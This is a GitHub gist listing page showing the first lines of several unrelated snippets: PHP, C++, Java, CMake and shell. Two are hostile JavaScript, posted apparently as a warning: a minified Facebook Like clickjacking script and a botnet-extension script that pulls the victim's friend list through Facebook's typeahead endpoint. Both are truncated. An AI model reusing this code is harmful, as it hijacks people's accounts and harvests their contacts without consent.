Skip to content

Instantly share code, notes, and snippets.

<?php
$html = file_get_contents('http://itunes.apple.com/vn/app/zalo-nhan-gui-yeu-thuong/id579523206?mt=8&ign-mpt=uo%3D2');
if (!empty($html) AND preg_match('#<span class="label">Version: </span>([0-9\.]+)</li>#', $html, $matches))
{
$version = $matches[1];
}
@daohoangson
daohoangson / common_load.js
Created October 29, 2013 13:58
CHAOBUOISANG.NET Facebook Like Clickjacking
(function(){
function r(e){
function p(t){if(e){alert("Request Object:\r\n"+t)}}function d(e){var t="";if(e){for(var n=0;n<e.length;++n){var r=e.charAt(n);t+=r=="+"?" ":r}}return h?decodeURIComponent(t):unescape(t)}function v(e){var t=0;for(var n in e){if(typeof e[n]!=o){t++}}return t}function m(e){var t=true;for(var n in r){if(typeof r[n]!=o&&n.toString().toLowerCase()==e.toLowerCase()){t=false;return n}}if(t){r[e]=new Object;r[e].toString=function(){return y(r[e])};r[e].Count=function(){return v(r[e])};r[e].Count.toString=function(){return v(r[e]).toString()};r[e].Item=function(t){if(typeof t==i){return r[e]}else{if(typeof t==u){var n=r[e][Math.ceil(t)];if(typeof n==i){p(f+'("'+e+'").Item('+t+")")}return n}else{p('ERROR:Expecting numeric input in\r\nRequest.QueryString("'+e+'").Item("'+t+'")')}}};r[e].Item.toString=function(t){if(typeof t==i){return r[e].toString()}else{var n=r[e][t];if(typeof n==i){p(f+'("'+e+'").Item('+t+")")}return n.toString()}};r[e].Key=function(t){var n=typeof t;if(n==a){var s=r[e][t]
@daohoangson
daohoangson / clickdetect.js
Created November 30, 2013 11:06
Cảnh báo kẻ xấu lợi dụng Clickjacking extension để tạo "botnet"
(function()
{
function invitenew(e)
{
x = document.getElementsByTagName("span");
for ( i = 0; i < x.length; i++)
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function(t)
{
var n = t;
var r = n.substring(n.indexOf("{"));
#define THOUSAND_SEPARATOR ","
#include<iostream> // cin, cout
#include<cmath> // math functions
#include<string> // string functions
using namespace std;
struct digit {
int value;
public class Chopstick {
int cid, used;
boolean output;
/*
* Constructor
* This chopstick is the chopstick number `cid`
*/
public Chopstick(int cid) {
this.used = -1;
int ia[] = {5,7,3,2,7,98,5,4,3,1};
int ian = 10;
QuickSort<int>::sort(ia,ian);
List<string> *sl = new List<string>();
string sla[] = {"this","is","wayyyy","embarassing"};
sl->assign(sla,4);
QuickSort<string>::sort(sl);
<?php
class bdCache_Css
{
public static function save($parameters, $css)
{
$css = utf8_trim($css);
if (empty($css))
{
return false;
# Functions/Macros for use when building extensions statically
# These functions also exist in CMake/HPHPIZEFunctions.cmake
# Their signatures should be kept consistent, though their behavior
# will differ slightly.
function(HHVM_LINK_LIBRARIES EXTNAME)
list(REMOVE_AT ARGV 0)
foreach (lib ${ARGV})
list(APPEND HRE_LIBRARIES ${lib})
@daohoangson
daohoangson / switch-dns-to.sh
Created March 26, 2015 01:21
Switch DNS in Mac terminal, fast and with multiple options!
#/bin/bash
NETWORK_SERVICE="Wi-Fi"
SERVERS=(google opendns uflix)
DNS_GOOGLE="8.8.8.8 8.8.4.4"
DNS_OPENDNS="208.67.222.222 208.67.220.220"
DNS_UFLIX="203.143.83.123 108.61.169.104"
if [ $# -ge 1 ]; then
# get server name in uppercase
@daohoangson
daohoangson / README.md
Last active August 29, 2015 14:25
cluster

Things that do not work:

  • MyISAM tables: xf_search_index, xf_session, xf_session_admin